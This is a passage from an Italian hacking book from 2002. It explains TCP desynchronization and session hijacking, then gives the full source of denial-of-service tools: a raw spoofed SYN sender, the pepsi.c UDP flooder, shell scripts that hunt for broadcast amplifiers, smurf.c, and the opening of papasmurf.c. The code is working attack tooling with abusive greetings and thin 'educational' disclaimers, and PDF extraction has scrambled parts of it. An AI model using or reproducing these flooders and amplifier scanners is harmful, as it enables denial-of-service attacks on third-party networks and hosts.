In una situazione di "calma" durante una connessione, cio un momento in cui non vengono spediti dati da entrambe le parti, le seguenti equazioni sono vere: SVR_SEQ = CLT_ACK e CLT_SEQ = SRV_ACK Invece mentre sono trasferiti dei dati sono vere queste altre espressioni: CLT_ACK <= SVR_SEQ <= CLT_ACK + CLT_WND SRV_ACK <= CLT_SEQ <= SRV_ACK + SRV_WND da cui si pu capire che un pacchetto accettabile se il suo Sequence number appartiene all'intervallo [SRV_ACK, SRV_ACK + SRV_WIN] per il server e [CLT_ACK, CLT_ACK + CLT_WIN] per il client. Se il Sequence number supera o precede questo intervallo il pacchetto viene scartato e viene spedito un pacchetto contenente nell'Acknowledgement number il Sequence number del prossimo byte atteso. Il termine desincronizzazione si riferisce ad una situazione in cui durante una connessione in un periodo di "calma" sono vere le seguenti equazioni SVR_SEQ != CLT_ACK e CLT_SEQ != SRV_ACK (dove != sta a significare diverso). Se una connessione si trovasse in una situazione di questo tipo e dei dati venissero spediti da una delle parti potrebbero presentarsi due casi distinti: - Se CLT_SEQ < SVR_ACK + SVR_WND e CLT_SEQ > SVR_ACK il pacchetto accettabile e i dati vengono memorizzati per un uso futuro, ma non vengono processati. - Se CLT_SEQ > SVR_ACK + SVR_WND o CLT_SEQ < SVR_ACK il pacchetto non accettabile e viene scartato. In pratica se una connessione in questo stato i due host non possono scambiarsi dati.

Altra descrizione di attacco


La seguente descrizione proviene da un testo che gira sulla rete, uno dei tantissimi che sono reperibili legati a questo argomento. La situazione di attacco pu essere rappresentata graficamente nel seguente modo:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

A ------H---R------------ B | C ------+

A e C = Host della stessa sottorete B = Host di una rete diversa da A e C H = HUB R = Router che delimita la sottorete

Supponiamo che esista una connessione telnet da A verso B e che l'attaccante si trovi nella postazione C. Cosa succederebbe se quest'ultimo in un periodo di "calma" della connessione tra A e B mandasse un pacchetto spoofato a B in modo da far credere che provenga da A? Semplice, B aggiornerebbe l'Acknowledgement number di A (SVR_ACK) in base al pacchetto ricevuto desincronizzandosi dal Sequence number reale di A (CLT_SEQ). A questo punto i pacchetti spediti da A verranno scartati in quanto per B hanno un Sequence number errato. Vediamo un esempio per capire meglio:
SEQ=100 ACK=500 DATI=10 A spedisce un pacchetto contenente 10 Byte di Dati A -----------------------> B Sequence number=100 e Acknowledgement number=500

B si aggiorna Sequence number e Acknowledgement number: Sequence number = 500 Acknowledgement = 100 + 10
SEQ=500 ACK=110 DATI=15 B spedisce un pacchetto contenente 15 Byte di Dati A <----------------------- B Sequence number=500 e Acknowledgement number=110

Il pacchetto arriva ad A che si riaggiorna Acknowledgement number e Sequence number: Sequence number = 110 Acknowledgement = 500 + 15 A questo punto si intromette l'attaccante con un pacchetto Spoofato, usando il Sequence number e l'Acknowledgement number corretti.
SEQ=110 ACK=515 DATI=20 C spedisce un pacchetto spoofato contenente A(C) -----------------------> B 20 Byte di Dati Sequence number=110 e Acknowledgement number=515

B si aggiorna Sequence number e Acknowledgement number: Sequence number = 515 Acknowledgement = 110 + 20 A questo punto B desincronizzato rispetto ad A in quanto il prossimo byte che B si aspetta da A il 130, mentre il Sequence number di A a 110. Quindi i pacchetti che A spedir a B da questo momento in poi verranno scartati. L'attaccante per sa cosa si aspetta B e perci pu mandare dei pacchetti creati appositamente per essere accettati. Ricordiamo che nel nostro esempio la connessione in corso era una sessione telnet, quindi adesso l'attaccante pu mandare comandi di shell a B come se fosse A. C' da notare che nell'esempio appena descritto non c' una desincronizzazione da entrambe le parti, infatti abbiamo che CLT_SEQ != SRV_ACK ma SVR_SEQ = CLT_ACK. Quindi l'host A accetter tutti i pacchetti spediti da B come risposta ai comandi dell'attaccante, e quindi vedr tutto quello che questi sta facendo. Per evitare ci l'attaccante deve creare una situazione di desincronizzazione anche nell'altro senso di trasmissione spedendo un pacchetto spoofato ad A come se provenisse da B. Ricordiamo che essendo l'attaccante nella stessa sottorete di A in grado di vedere l'output dei propri comandi sniffando i pacchetti di risposta spediti da B. Ci sono varie tecniche per ottenere la desincronizzazione di una connessione. Quella vista nell'esempio quella usata solitamente e consiste appunto nello spedire un pacchetto spoofato contenente dei dati sia al server che al client.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Pi grande il numero di byte spediti in questi pacchetti e pi grande la desincronizzazione che si andr a creare tra i due host. Esiste comunque un secondo e pi raffinato metodo di desincronizzazione, che consiste nell'intromettersi nel protocollo three-way handshake usato per creare una connessione. Il funzionamento si pu sintetizzare in 4 punti: 1 - L'attaccante aspetta di ricevere il pacchetto SYN/ACK, proveniente dal server e diretto verso il client (secondo passo del three-way handshake), della connessione da desincronizzare. 2 - Appena lo ha identificato spedisce un pacchetto di RST (Spoofato) verso il server e immediatamente dopo uno di SYN (sempre Spoofato) con gli stessi parametri (porta TCP e indirizzo IP) usati per la connessione da desincronizzare, ma con un differente Sequence number. 3 - Il server chiuder la prima connessione grazie al pacchetto RST, e ne aprir una uguale ma con un Sequence number diverso, spedendo il pacchetto SYN/ACK. 4 - L'attaccante non appena identifica quest'ultimo, spedisce il pacchetto ACK necessario a completare l'instaurazione della connessione. A questo punto la connessione aperta, ma in uno stato di desincronizzazione in quanto per il client il Sequence number corretto quello che era presente nel pacchetto SYN/ACK intercettato dall'attaccante al punto 1, mentre per il server quello corretto quello introdotto dall'attaccante nel punto 2. Lultimo sorgente una dimostrazione utilizzante WINSOCK2 che mostra come inviare TCP SYN.
/* lowlevel: WinSock Extension example (TCP syn) author: dbl-dipper requirements: wINJECT must be running, a compiler with wsock32.lib and then you must own a brain. Description: Shows how to send tcp syn packs. : This can be made into a scanner when the "Raw_Reading" feature : is ready. -[Flooding "turned off" by moofz..]*/ #include #include #include #include <windows.h> <winsock.h> <stdlib.h> <stdio.h>

#define IP_TTL 7 struct IP_Header { unsigned IP_Hdrlen:4; unsigned IP_Vers:4; u_char IP_Tos; u_short IP_Len; u_short IP_Id; u_short IP_FragOff; u_char IP_Ttl; u_char IP_Proto; u_short IP_Checksum; struct in_addr IP_Source; struct in_addr IP_Dest; }; struct TCP_Header { u_short TCP_sport;

/* /* /* /* /* /* /* /* /* /* /*

IP Header Length */ IP Version */ Type of Service */ Total Length */ Identification */ Fragment Offset */ Time To Live */ Protocol */ Checksum */ Source Address */ Destination Address */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


u_short int int TCP_dport; TCP_seq; TCP_ack;

unsigned TCP_resv1:4; unsigned TCP_hlen:4; unsigned unsigned unsigned unsigned unsigned unsigned unsigned u_short u_short u_short }; struct Pseudo_Header { u_long ps_sip; u_long ps_dip; u_char ps_zero; u_char ps_proto; u_short ps_len; }; #define IPH_SIZE sizeof(struct IP_Header) #define TCPH_SIZE sizeof(struct TCP_Header) #define PACKETSIZE IPH_SIZE + TCPH_SIZE // TOTAL LENGTH u_short ip_checksum(u_short*, int, u_long, int); int SendRawPack(char*, char*, int, int); WSADATA wsa; SOCKET sd; int main(int argc, char **argv) { int ttl; printf("WinSock Extension example\nAuthor: dbl-dipper\n\n"); if(argc != 5) { printf("- Usage: <src_ip> <dst_ip> <src_port> <dst_port>\n"); return -1; } if (WSAStartup(MAKEWORD(1, 1), &wsa) != 0) { printf("This needs WinSock 1.1 or better...\n"); return -1; } sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sd == INVALID_SOCKET) { printf("Problem with socket()...\n"); WSACleanup(); return -1; } ttl = 0; // MUST be 0 !! (sounds crazy but it works) if (setsockopt(sd, IPPROTO_IP, IP_TTL, (const char*)&ttl, sizeof(ttl)) == SOCKET_ERROR) TCP_f_fin:1; TCP_f_syn:1; TCP_f_reset:1; TCP_f_push:1; TCP_f_ack:1; TCP_f_urg:1; TCP_resv2:2; TCP_win; TCP_cksum; TCP_urgp;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


{ printf("Problem with setsockopt()...\n"); WSACleanup(); return -1; } // for(ttl = 0; ttl < 100; ttl++) SendRawPack(argv[1], argv[2], 1024+ttl, 80); printf("\n"); closesocket(sd); WSACleanup(); return 1; } int SendRawPack(char *src_ip, char *dst_ip, int sport, int dport) { struct IP_Header *iphdr; struct TCP_Header *tcphdr; struct Pseudo_Header *pseudohdr; u_char *packet; u_char psbuf[16]; struct sockaddr_in dest; int res; // Initialize: memset(&dest, 0, sizeof(dest)); memset(&psbuf, 0, 16); // MUST be 200.200.200.200 to ensure that the packet gets out: // Note: this is not the IP that will get the REAL packet! dest.sin_addr.s_addr = inet_addr("200.200.200.200"); dest.sin_family = AF_INET; packet = (u_char *)malloc(PACKETSIZE+1); if (!packet) { printf("Problem with buffer allocation...\n"); return -1; } // ---------- from this line YOU decide what to send! // fill ip: iphdr = (struct IP_Header *)(packet); iphdr->IP_Vers = 4; iphdr->IP_Hdrlen = 5; iphdr->IP_Tos = 0; iphdr->IP_Len= htons(PACKETSIZE); 548) iphdr->IP_Id = htons(1); // identification iphdr->IP_FragOff = 0; // fragment offset field iphdr->IP_Ttl = 255; // time to live iphdr->IP_Proto = 6; // protocol iphdr->IP_Checksum = 0; // checksum iphdr->IP_Source.s_addr = inet_addr(src_ip); // source address (u can spoof!) iphdr->IP_Dest.s_addr = inet_addr(dst_ip); // destination address iphdr->IP_Checksum = ip_checksum((u_short*)iphdr, IPH_SIZE, 0, 1); tcphdr = (struct TCP_Header *)(packet+IPH_SIZE); tcphdr->TCP_sport tcphdr->TCP_dport tcphdr->TCP_seq = tcphdr->TCP_ack = = htons(sport); = htons(dport); htonl(1); 0;

// ip version // header len: // type of service // total length

(max =

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


tcphdr->TCP_hlen = TCPH_SIZE / 4; tcphdr->TCP_resv1 = 0; tcphdr->TCP_resv2 = 0; tcphdr->TCP_f_urg = 0; tcphdr->TCP_f_ack = 0; tcphdr->TCP_f_push = 0; tcphdr->TCP_f_reset = 0; tcphdr->TCP_f_syn = 1; tcphdr->TCP_f_fin = 0; tcphdr->TCP_win = htons(16384); tcphdr->TCP_cksum = 0; tcphdr->TCP_urgp = 0; pseudohdr = (struct Pseudo_Header *)&psbuf; pseudohdr->ps_sip = inet_addr(src_ip); pseudohdr->ps_dip = inet_addr(dst_ip); pseudohdr->ps_zero = 0; pseudohdr->ps_proto = iphdr->IP_Proto; pseudohdr->ps_len = htons(20); tcphdr->TCP_cksum = ip_checksum((u_short*)tcphdr, 20, 0, 0); tcphdr->TCP_cksum = ip_checksum((u_short*)pseudohdr, 12, >TCP_cksum, 1); res = sendto(sd, (char*)packet, sockaddr_in*)&dest, sizeof(dest)); if (res == SOCKET_ERROR) { printf("Problem with sendto()\n"); return -1; } // printf("."); printf("Sent %d of %d\n", res, PACKETSIZE); free(packet); return 1; } u_short ip_checksum(u_short* buffer, int size, u_long klyt, int full) { unsigned long cksum = klyt; // Sum all the words together, adding the final byte if size is odd while (size > 1) { cksum += *buffer++; size -= sizeof(u_short); } if(size) cksum += *(UCHAR*)buffer; if(full == 0) return cksum; // Do a little shuffling cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); // Return the bitwise complement of the resulting mishmash return (u_short)(~cksum); } PACKETSIZE, 0, tcphdr(struct

Un altro flooder quello che segue:


/* * pepsi.c

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* Random Source Host UDP flooder * * Author: Soldier@data-t.org * * [12.25.1996] * * Greets To: Havok, nightmar, vira, Kage, ananda, tmw, Cheesebal, efudd, * Capone, cph|ber, WebbeR, Shadowimg, robocod, napster, marl, eLLjAY, fLICK^ * Toasty, [shadow], [magnus] and silitek, oh and Data-T. * * Fuck You to: Razor1911 the bigest fucking lamers in the warez comunity, * Yakuza for ripping my code, #cha0s on the undernet for trying to port * it to win95, then ircOpers on efnet for being such cocksuckers * especially prae for trying to call the fbi on me at least 5 times. * all warez pups i don't know for ripping off honest programers. * and Dianora for being a lesbian hoe, Srfag..err SrfRog for having an ego * the size of california. * AND A BIG HUGE ENORMOUS FUCK YOU TO myc, throwback, crush, asmodean, Piker, * pireaus, A HUGE FUCKING FUCK to texas.net, and the last HUGEST FUCK IN * INTERNET HISTORY, AMM. * * * Disclaimer since i don't wanna go to jail * - this is for educational purposes only * */ /* [Defines] */ #define #define #define #define #define #define FRIEND "My christmas present to the internet -Soldier" VERSION "Pepsi.c v1.6" DSTPORT 7 SRCPORT 19 PSIZE 1024 DWAIT 1

/* [Includes] */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include <unistd.h> <stdlib.h> <string.h> <netdb.h> <stdio.h> <sys/types.h> <sys/socket.h> <netinet/in.h> <netinet/in_systm.h> <netinet/ip.h> <netinet/tcp.h> <netinet/protocols.h> <arpa/inet.h> <netdb.h> <signal.h> <netinet/ip_udp.h> <string.h> <pwd.h>

/* [Banner] */ void banner() { printf("\t\t\t%s Author - Soldier \n", VERSION); printf("\t\t\t [10.27.96] \n\n"); printf("This Copy Registered to: %s\n\n", FRIEND); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

/* [Option Parsing] */ struct sockaddr_in dstaddr; unsigned long dst; struct udphdr *udp; struct iphdr *ip; char *target; char *srchost; int int int int int dstport = 0; srcport = 0; numpacks = 0; psize = 0; wait = 0;

/* [Usage] */ void usage(char *pname) { printf("usage:\n "); printf("%s [-s src] <dest>\n\n", pname); printf("\t-s <src> printf("\t-n <num> printf("\t-p <size> printf("\t-d <port> DSTPORT); printf("\t-o <port> SRCPORT); printf("\t-w <time> printf("\t<dest> printf("\n"); exit(EXIT_SUCCESS); }

[-n num] [-p size] [-d port] [-o port] [-w wait] : : : : source where packets are comming from\n"); number of UDP packets to send\n"); Packet Size [Default is 1024]\n"); Destination Port [Default is %.2d]\n", [Default is %.2d]\n", 1]\n");

: Source Port

: Wait time between packets [Default is : destination \n");

/* [In chksum with some mods] */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 17) + (sum & 0xffff); sum += (sum >> 17); answer = -sum; return (answer); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* Resolve Functions */ unsigned long resolve(char *cp) { struct hostent *hp; hp = gethostbyname(cp); if (!hp) { printf("[*] Unable to resolve %s\t\n", cp); exit(EXIT_FAILURE); } return ((unsigned long) hp->h_addr); } void resolvedest(void) { struct hostent *host; memset(&dstaddr, 0, sizeof(struct sockaddr_in)); dstaddr.sin_family = AF_INET; dstaddr.sin_addr.s_addr = inet_addr(target); if (dstaddr.sin_addr.s_addr == -1) { host = gethostbyname(target); if (host == NULL) { printf("[*] Unable To resolve %s\t\n", target); exit(EXIT_FAILURE); } dstaddr.sin_family = host->h_addrtype; memcpy((caddr_t) & dstaddr.sin_addr, host->h_addr, host->h_length); } memcpy(&dst, (char *) &dstaddr.sin_addr.s_addr, 4); } /* Parsing Argz */ void parse_args(int argc, char *argv[]) { int opt; while ((opt = getopt(argc, argv, "s:d:n:p:w:o:")) != -1) switch (opt) { case 's': srchost = (char *) malloc(strlen(optarg) + 1); strcpy(srchost, optarg); break; case 'd': dstport = atoi(optarg); break; case 'n': numpacks = atoi(optarg); break; case 'p': psize = atoi(optarg); break; case 'w': wait = atoi(optarg); break; case 'o': srcport = atoi(optarg); break; default: usage(argv[0]); } if (!dstport) dstport = DSTPORT; if (!srcport) srcport = SRCPORT;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


if (!psize) psize = PSIZE; if (!wait) wait = DWAIT; if (!argv[optind]) { puts("[*] Specify a target host, doof!"); exit(EXIT_FAILURE); } target = (char *) malloc(strlen(argv[optind])); if (!target) { puts("[*] Agh! Out of memory!"); perror("malloc"); exit(EXIT_FAILURE); } strcpy(target, argv[optind]); } /* [Send Packet] */ void main(int argc, char *argv[]) { int sen, i, unlim = 0, sec_check; char *packet; banner(); if (argc < 2) usage(argv[0]); parse_args(argc, argv); resolvedest(); printf("# Target Host : %s\n", target); printf("# Source Host : %s\n", (srchost && *srchost) ? srchost : "Random"); if (!numpacks) printf("# Number : Unliminted\n"); else printf("# Number : %d\n", numpacks); printf("# Packet Size : %d\n", psize); printf("# Wait Time : %d\n", wait); printf("# Dest Port : %d\n", dstport); printf("# Source Port : %d\n", srcport); sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip = (struct iphdr *) packet; udp = (struct udphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + psize); if (!numpacks) { unlim++; numpacks++; } if (srchost && *srchost) ip->saddr = resolve(srchost); ip->daddr = dst; ip->version = 4; ip->ihl = 5; ip->ttl = 255; ip->protocol = IPPROTO_UDP; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + psize); ip->check = in_cksum(ip, sizeof(struct iphdr));

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


udp->source = htons(srcport); udp->dest = htons(dstport); udp->len = htons(sizeof(struct udphdr) + psize); for (i = 0; i < numpacks; (unlim) ? i++, i-- : i++) { if (!srchost) ip->saddr = rand(); if (sendto(sen, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + psize, 0, (struct sockaddr *) &dstaddr, sizeof(struct sockaddr_in)) == (-1)) { puts("[*] Error sending Packet"); perror("SendPacket"); exit(EXIT_FAILURE); } usleep(wait); } }

Smurf
Una delle metodologie legate allattivit hacker di fatto legata a quelle chiamate con il termine di DOS ovvero Denial of Service. Lo scopo di questi tipi di attacchi quello di consumare le risorse dei sistemi remoti in modo tale che questi smettano di funzionare o comunque degradino le loro prestazioni. Lo scopo di questa tecnica ? Chiaramente quella legata al fatto in se stesso finalizzato soltanto al fatto di soddisfare quella parte dellanimale uomo che procura piacere nellistante in cui si danneggia il prossimo. Un altro scopo un po pi elevato come finalit quello di riuscire a bloccare le trasmissioni di un determinato host al fine di cercare di sostituirsi a questo in un sistema di hosts considerati come trusted. Una domanda che verr spontanea quella legata al fatto di non riuscire a comprendere come un sistema di un hacker, con una linea magari a 28 KB, possa di fatto riuscire a fare esaurire le risorse, ad esempio quelle di banda, di un qualche server che connesso a internet tramite linee come ad esempio le T1. Nel capitolo legato alla descrizione dei protocolli avevamo parlato di un tipo di indirizzo particolare e precisamente quello relativo al broadcasting. Un server che riceve un pacchetto legato al protocollo ICMP di PING (ICMP servizio ECHO REQUEST) indirizzato ad un indirizzo di broadcast invia a sua volta lo stesso a tutti gli host a lui connessi per cui chiaramente il traffico generato viene amplificato a tal punto che un sistema con un modem come quello appena detto a 28 K potrebbe al limite costringere un sistema a occupare 2/3 di una linea T1. Pur essendo uno degli attacchi pi recenti i sistemisti esperti hanno subito imparato a proteggersi inserendo allinterno dei routers speciali filtri atti a non permettere il passaggio di certi tipi di pacchetti. In ogni caso esistono certi siti che pubblicano gli scan fatti specificando gli IP soggetti agli attacchi SMURF e il numero di sistemi a cui questi cercano di inoltrare i pacchetti quando ricevono i fatidici pacchetti di PING. Dal punto di vista del sistemista dobbiamo dire che il tracing di questo genere di attacco abbastanza complesso. Volendolo schematizzare graficamente lo potremmo rappresentare nel seguente modo :
A V S B = = = = Host Attaccante Host Vittima Sottorete contenente 100 Host Indirizzo di broadcast della sottorete S A Spedisce un pacchetto ICMP "ECHO REQUEST" Spoofato con l'indirizzo di V all'indirizzo di broadcast della sottorete.

V(A) -----ECHO REQUEST------> B

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


-----------------------> -----100 Pacchetti-----> ---------ICMP----------> V ------ECHO REPLY-------> -----------------------> Tutti i 100 host della sottorete rispondono con un pacchetto ICMP "ECHO REPLY" a V credendo che sia lui ad aver spedito il pacchetto precedente.

La ricerca degli IP con possibilit di broadcast che replichino con pi di 30 sistemi pu essere eseguita con il seguente programmino di shell per Unix.
--- bips.sh --#!/bin/bash # find broadcast ip's that reply with 30+ dupes. # i decided to make this script into two sections. when running this make # sure both parts are in the same directory. if [ $# != 1 ]; then echo "$0 <domain - ie: college.edu>" else host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips cat $1.ips | cut -d'.' -f1-3 | sort |\ awk '{ print echo ""$1".255" }' > $1.tmp cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping rm -f $1.ips $1.tmp chmod 700 $1.ping ./$1.ping rm $1.ping fi

Il seguente sorgente invece controlla se su un determinati IP possibile inviare messaggi di broadcast che generino in certo numero di messaggi ICMP di replica.
--- chekdup.sh --#!/bin/bash # this checks possible broadcast ip's for a given amount of icmp echo # replies. ping -c 2 $1 > $1.out if cat $1.out | grep dupl > /dev/null then export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`" else export DUPES=1 fi if [ $DUPES -gt 30 ]; then echo "$1 had $DUPES dupes" >> bips.results rm -f $1.out else rm -f $1.out fi

Il sorgente in Linguaggio C relativo a questo tipo di exploits quello che segue. Il programma per ambiente Unix.
---- smurf.c ---/* * * * * * * * * * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $ spoofs icmp packets from a host to various broadcast addresses resulting in multiple replies to that host from a single packet. orginial linux code by tfreak, most props to him, all I did was port it to operating systems with a less perverse networking system, such as FreeBSD, and many others. -Griffin

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


* mad head to: nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea * pig, MissSatan for swallowing, napster for pimping my sister, the guy that * invented vaseline, fyber for trying, knowy, old school #havok, kain cos he * rox my sox, zuez, toxik, robocod, and everyone else that i might have * missed (you know who you are). * * hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy thing * he is (he's -almost- as stubborn as me, still i managed to pick up half * the cheque). * * and a special hi to Todd, face it dude, you're fucking awesome. * * mad anal to: #madcrew/#conflict for not cashing in their cluepons, EFnet * IRCOps because they plain suck, Rolex for being a twit, everyone that * trades warez, Caren for being a lesbian hoe, AcidKill for being her * partner, #cha0s, sedriss for having an ego in inverse proportion to his * penis and anyone that can't pee standing up -- you don't know what your * missing out on. * * and anyone thats ripped my code (diff smurf.c axcast.c is rather * interesting). * * and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill Robbins * for trying to steal my girlfriend. Not only did you show me no respect * but you're a manipulating prick who tried to take away the most important * thing in the world to me with no guilt whatsoever, and for that I wish you * nothing but pain. Die. * * disclaimer: I cannot and will not be held responsible nor legally bound for * the malicious activities of individuals who come into possession of this * program and I refuse to provide help or support of any kind and do NOT * condone use of this program to deny service to anyone or any machine. This * is for educational use only. Please Don't abuse this. * * Well, i really, really, hate this code, but yet here I am creating another * disgusting version of it. Odd, indeed. So why did I write it? Well, I, * like most programmers don't like seeing bugs in their code. I saw a few * things that should have been done better or needed fixing so I fixed them. * -shrug-, programming for me as always seemed to take the pain away ... * * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include <signal.h> <stdio.h> <stdlib.h> <netdb.h> <sys/socket.h> <sys/types.h> <netinet/in.h> <netinet/in_systm.h> <netinet/ip.h> <netinet/ip_icmp.h> <ctype.h> <arpa/inet.h> <unistd.h> <string.h> banner(void); usage(char *); smurf(int, struct sockaddr_in, u_long, int); ctrlc(int); host2ip(char *hostname); in_chksum(u_short *, int);

void void void void unsigned int unsigned short

unsigned int host2ip(char *hostname) { static struct in_addr i; struct hostent *h; i.s_addr = inet_addr(hostname); if (i.s_addr == -1) { h = gethostbyname(hostname); if (h == NULL) { fprintf(stderr, "can't find %s\n.", hostname); exit(0); }

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


bcopy(h->h_addr, (char *) &i.s_addr, h->h_length); } return i.s_addr;

/* stamp */ char

id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

int main(int argc, char *argv[]) { struct sockaddr_in sin; FILE *bcastfile; int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner(); signal(SIGINT, ctrlc); if (argc < 6) usage(argv[0]); sin.sin_addr.s_addr = host2ip(argv[1]); sin.sin_family = AF_INET; num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file"); exit(-1); } x = 0; while (!feof(bcastfile)) { fgets(buf, 32, bcastfile); if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++) if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32); strcpy(bcastaddr[x], buf); x++; } bcastaddr[x] = 0x0; fclose(bcastfile); if (x == 0) { fprintf(stderr, "ERROR: no broadcasts found exit(-1); } if (pktsize > 1024) { fprintf(stderr, "ERROR: packet size must be exit(-1); } if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) in file %s\n\n", argv[2]);

< 1024\n\n"); < 0) {

&bcast, sizeof(bcast));

printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]); for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay); } puts("\n\n");

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


return 0;

void banner(void) { puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n"); } void usage(char *prog) { fprintf(stderr, "usage: %s <target> <bcast file> " "<num packets> <packet delay> <packet size>\n\n" "target = address to hit\n" "bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1); } void smurf(int sock, struct { struct ip struct icmp char int sockaddr_in sin, u_long dest, int psize) *ip; *icmp; *packet; hincl = 1;

packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize); ip = (struct ip *) packet; icmp = (struct icmp *) (packet + sizeof(struct ip)); memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize); setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)); ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize; ip->ip_hl = sizeof *ip >> 2; ip->ip_v = 4; ip->ip_ttl = 255; ip->ip_tos = 0; ip->ip_off = 0; ip->ip_id = htons(getpid()); ip->ip_p = 1; ip->ip_src.s_addr = sin.sin_addr.s_addr; ip->ip_dst.s_addr = dest; ip->ip_sum = 0; icmp->icmp_type = 8; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize, 0, (struct sockaddr *) & sin, sizeof(struct sockaddr)); } free(packet); /* free willy! */

void ctrlc(int ignored) { puts("\nDone!\n"); exit(1); } unsigned short in_chksum(u_short * addr, int len) { register int nleft = len; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *addr++; nleft -= 2; } if (nleft == 1) {

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


*(u_char *) (&answer) = *(u_char *) addr; sum += answer; } sum = (sum >> 16) + (sum + 0xffff); sum += (sum >> 16); answer = ~sum; return (answer);

Il programma per eccellenza legato a questo tipo dattacco quello definito con il termine di PAPASMURF.C

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

(papa)smurf.c v5.0 by TFreak - http://www.rootshell.com A year ago today I made what remains the questionable decision of releasing my program 'smurf', a program which uses broadcast "amplifiers" to turn an icmp flood into an icmp holocaust, into the hands of packet monkeys, script kiddies and all round clueless idiots alike. Nine months following, a second program 'fraggle', smurfs udp cousin, was introducted into their Denial of Service orgy. This brings us to today, July 28, 1998, one year after my first "mistake". The result, proof that history does repeat itself and a hybrid of the original programs. First may I say that I in no way take credit for "discovering" this. There is no doubt in my mind that this idea was invisioned long before I was even sperm -- I merely decided to do something about it. Secondly, if you want to hold me personally responsible for turning the internet into a larger sesspool of crap than it already is, then may I take this opportunity to deliver to you a message of the utmost importance -- "Fuck you". If I didn't write it, someone else would have. I must admit that there really is no security value for me releasing this new version. In fact, my goals for the version are quite silly. First, I didn't like the way my old code looked, it was ugly to look at and it did some stupid unoptimized things. Second, it's smurfs one year birthday -- Since I highly doubt anyone would have bought it a cake, I thought I would do something "special" to commemorate the day. Hmm, I am starting to see why I am known for my headers (wage eats playdough!). Well, I guess this wouldn't be the same if I did not include some sort of shoutouts, so here goes... A hearty handshake to... o MSofty, pbug, Kain -- No matter which path each of you decides to take in the future, I will always look back upon these days as one of the most enjoyable, memorable and thought-provoking experiences of my life. I have nothing but the highest degree of respect for each of you, and I value your friendship immensely. Here's to living, learning and laughing -- Cheers gentlemen. --Dan Hi JoJo! morbid and his grandam barbiegirl gino styles, yo. The old #havok crew. Pharos,silph,chris@unix.org,Viola,Vonne,Dianora,fyber,silitek, brightmn,Craig Huegen,Dakal,Col_Rebel,Rick the Temp,jenni`,Paige, RedFemme,nici,everlast,and everyone else I know and love.

o o o o

